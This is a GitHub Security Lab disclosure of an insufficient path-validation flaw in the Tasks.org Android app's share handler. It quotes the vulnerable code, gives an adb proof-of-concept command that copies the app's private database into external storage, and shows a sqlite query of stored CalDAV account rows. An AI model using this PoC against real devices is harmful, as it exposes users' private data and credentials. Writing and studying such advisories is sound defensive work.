Coordinated Disclosure Timeline

Summary

The Tasks.org Android app uses the activity ShareLinkActivity.kt to handle “share” intents coming from other components in the same device and converting them to tasks. Those intents may contain arbitrary file paths as attachments, in which case the files pointed by those paths are copied in the app’s external storage directory. Since the paths are not validated, a malicious or compromised application in the same device could force Tasks.org to copy files from its internal storage to the external storage directory, where they become accessible to any component with permission to read the external storage.

Product

Tasks.org

Tested Version

v12.7

Details

Issue: Insufficient path validation in ShareLinkActivity.kt (GHSL-2022-062)

ShareLinkActivity handles files being shared by third party components in the device. The received data can be set arbitrarily by attackers, causing some functions that handle file paths to have unexpected behavior.

When receiving an intent with the action android.intent.action.SEND, the method copyAttachment is executed in the following code:

ShareLinkActivity:34

public override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    val intent = intent
    val action = intent.action
    when {
        // --snip--
        Intent.ACTION_SEND == action -> lifecycleScope.launch {
            // --snip--
            if (hasAttachments(intent)) {
                task.putTransitory(TaskAttachment.KEY, copyAttachment(intent))
                firebase.addTask("share_attachment")
            }
            // --snip--
        }
        // --snip--
    }
}

copyAttachment uses the provided extra android.intent.extra.STREAM to read a file and copy it to the app’s external storage directory (the default value of attachmentsDirectory):

ShareLinkActivity:91

private fun copyAttachment(intent: Intent): ArrayList<Uri> {
    val uri = intent.getParcelableExtra<Uri>(Intent.EXTRA_STREAM) ?: return ArrayList()
    // --snip--
    return arrayListOf(FileHelper.copyToUri(this, preferences.attachmentsDirectory!!, uri, basename))

FileHelper.kt:184

fun copyToUri(context: Context, destination: Uri, input: Uri, basename: String): Uri = try {
    val output = newFile(
            context,
            destination,
            getMimeType(context, input),
            basename,
            getExtension(context, input))
    copyStream(context, input, output)
    output
} catch (e: IOException) {
    throw IllegalStateException(e)
}

FileHelper.kt:197

fun copyStream(context: Context, input: Uri?, output: Uri?) {
    val contentResolver = context.contentResolver
    try {
        val inputStream = contentResolver.openInputStream(input!!)
        val outputStream = contentResolver.openOutputStream(output!!)
        ByteStreams.copy(inputStream!!, outputStream!!)
        inputStream.close()
        outputStream.close()
    } catch (e: IOException) {
        throw IllegalStateException(e)
    }
}

Since the input URI is passed through unvalidated until it reaches ContentResolver.openInputStream, and then ByteStreams.copy, attackers can pass an URI pointing to files inside of Tasks.org’ internal storage, like for example one of its databases, or its shared preferences files:

file:///data/data/org.tasks/shared_prefs/org.tasks_preferences.xml

The malicious component can afterwards access Tasks.org’s external storage directory to read the contents of the file, potentially accessing sensitive information.

Impact

This issue may lead to sensitive information disclosure. The tasks database not only may contain sensitive information added by users, but it also contains the credentials for CalDAV integrations if those are enabled:

# sqlite3 /data/data/org.tasks/databases/database
SQLite version 3.28.0 2020-05-06 18:46:38
Enter ".help" for usage hints.
sqlite> select * from caldav_accounts;
1|local||||||2|0|-1
2|628594338744250458|admin|http://192.168.1.100:8080/remote.php/dav/calendars/admin/|admin|XePNgXZd2byz2U0LPbruhKfkPzxvFB/p9TKKz3G3X2+F

Luckily, the password is encrypted with a key stored in Android’s KeyStore, so the impact of this specific problem is reduced.

Resources

The following PoC demonstrates how to force Tasks.org to copy an arbitrary file from its internal storage to its external storage:

$ adb shell am start -n org.tasks/com.todoroo.astrid.activity.ShareLinkActivity -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "file:///data/data/org.tasks/databases/database" --es "android.intent.extra.SUBJECT" "Test" -t "application/test"
$ adb shell ls -lah /sdcard/Android/data/org.tasks/files/attachments/database.
-rw-rw---- 1 u0_a160 ext_data_rw 156K 2022-07-28 11:27 /sdcard/Android/data/org.tasks/files/attachments/database.

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2022-062 in any communication regarding this issue.